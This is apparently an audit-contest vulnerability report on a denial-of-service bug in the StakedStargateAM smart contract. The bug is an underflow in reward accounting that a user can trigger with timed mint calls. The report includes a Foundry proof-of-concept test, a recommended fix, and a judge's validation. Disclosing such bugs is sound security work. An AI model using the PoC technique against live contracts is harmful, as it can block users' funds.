ge6a - DOS of StakedStargateAM

[sherlock-admin2]

ge6a

high

DOS of StakedStargateAM

Summary

A problem with the way accrued rewards for different positions are accounted for allows a malicious user to continuously put the contract in a state where the main functions revert.

Vulnerability Detail

First, I will examine how the function pendingEmissionToken() from LPStakingTime.sol calculates the accrued rewards from the users. This is done by calculating the total rewards generated for the period from the last calculation to the specific moment and dividing it by the total number of tokens. The resulting value in the variable accEmissionPerShare is multiplied by the amount of tokens for the specific user, and the result is subtracted from the variable rewardDebt. The variable rewardDebt shows the accrued rewards at the time of the last deposit or withdraw operation. During each of these operations, the accrued rewards are first paid out, and then the change in balance is stored. Therefore, immediately after deposit/withdraw, the value returned by pendingEmissionToken() will be 0.

    function _getRewardBalances(AssetState memory assetState_, PositionState memory positionState_)
        internal
        view
        returns (AssetState memory, PositionState memory)
    {
        if (assetState_.totalStaked > 0) {
            // Calculate the new assetState
            // Fetch the current reward balance from the staking contract.
            uint256 currentRewardGlobal = _getCurrentReward(positionState_.asset);
            // Calculate the increase in rewards since last Asset interaction.
            uint256 deltaReward = currentRewardGlobal - assetState_.lastRewardGlobal;
            uint256 deltaRewardPerToken = deltaReward.mulDivDown(1e18, assetState_.totalStaked);
            // Calculate and update the new RewardPerToken of the asset.
            // unchecked: RewardPerToken can overflow, what matters is the delta in RewardPerToken between two interactions.
            unchecked {
                assetState_.lastRewardPerTokenGlobal =
                    assetState_.lastRewardPerTokenGlobal + SafeCastLib.safeCastTo128(deltaRewardPerToken);
            }
            // Update the reward balance of the asset.
            assetState_.lastRewardGlobal = SafeCastLib.safeCastTo128(currentRewardGlobal);
           ...

The functions mint, increaseLiquidity, decreaseLiquidity, claimReward from AbstractStakingAM use the function getRewardBalances to determine the rewards for a given position. For this report, the variables assetState.lastRewardGlobal and currentRewardGlobal are important. currentRewardGlobal is the result of calling pendingEmissionToken, while assetState_.lastRewardGlobal is the value of currentRewardGlobal from the previous iteration. On line 539, the value of assetState_.lastRewardGlobal is subtracted from the value of currentRewardGlobal. The problem is that, as mentioned earlier, the value of currentRewardGlobal (the returned value from pendingEmissionToken()) can be 0. It turns out that there are situations where at the same time assetState_.lastRewardGlobal will not be 0. Due to underflow, all functions calling getRewardBalances will revert until the value of currentRewardGlobal exceeds the value of assetState.lastRewardGlobal. This happens when enough rewards accumulate over time.

It turns out that a malicious user can intentionally bring the contract to such a state that the functions constantly revert. This happens when the mint or increaseLiquidity function is called when there are accumulated rewards. Unlike decreaseLiquidity and claimReward, these functions do not reset assetState_.lastRewardGlobal, as they should to avoid this problem.

I am attaching a POC that demonstrates how using the described vulnerability, a DOS attack can be performed for more than 15 days. After accumulating enough rewards, the operation can be repeated for another DOS and so on.

// you should put the test into USDbCPool.fork.t.sol
function test_dos_poc() public 
    {
        uint256 initBalance = 1000 * 10 ** USDbC.decimals();

        vm.startPrank(users.accountOwner);
        deal(address(USDbC), users.accountOwner, initBalance*2);

        USDbC.approve(address(router), initBalance*2);
        router.addLiquidity(poolId, initBalance, users.accountOwner);

        // And : The user stakes the LP token via the StargateAssetModule
        uint256 stakedAmount = ERC20(address(pool)).balanceOf(users.accountOwner);
        ERC20(address(pool)).approve(address(stakedStargateAM), stakedAmount);
        uint256 tokenId = stakedStargateAM.mint(address(pool), uint128(stakedAmount));

        vm.stopPrank();

        address addrUser2 = createUser("user2");
        vm.startPrank(addrUser2);
        deal(address(USDbC), addrUser2, initBalance);
        USDbC.approve(address(router), initBalance);
        router.addLiquidity(poolId, initBalance, addrUser2);
        stakedAmount = ERC20(address(pool)).balanceOf(addrUser2);
        ERC20(address(pool)).approve(address(stakedStargateAM), stakedAmount);
        uint256 tokenId2 = stakedStargateAM.mint(address(pool), uint128(stakedAmount));


        address addrUser3 = createUser("user3");
        vm.startPrank(addrUser3);
        deal(address(USDbC), addrUser3, initBalance);
        USDbC.approve(address(router), initBalance);

        vm.warp(block.timestamp + 30 days);

        router.addLiquidity(poolId, initBalance, addrUser3);
        uint256 stakedAmount2 = ERC20(address(pool)).balanceOf(addrUser3);
        ERC20(address(pool)).approve(address(stakedStargateAM), stakedAmount2);
        stakedStargateAM.mint(address(pool), uint128(stakedAmount2));

        vm.stopPrank();

        vm.warp(block.timestamp + 15 days);

        vm.startPrank(users.accountOwner);
        vm.expectRevert();
        stakedStargateAM.claimReward(tokenId);
        vm.stopPrank();
    }

Impact

Malicious user may cause a permanent DOS of the contract. Also such state may be triggered unintentionally by a user. Lock of funds.

Code Snippet

Above

Tool used

Manual Review

Recommendation

Set assetState_.lastRewardGlobal = 0 in mint() and increaseLiquidity() similar to the other functions.

Duplicate of #38

[sherlock-admin2]

1 comment(s) were left on this issue during the judging contest.

takarez commented:

valid: high(1)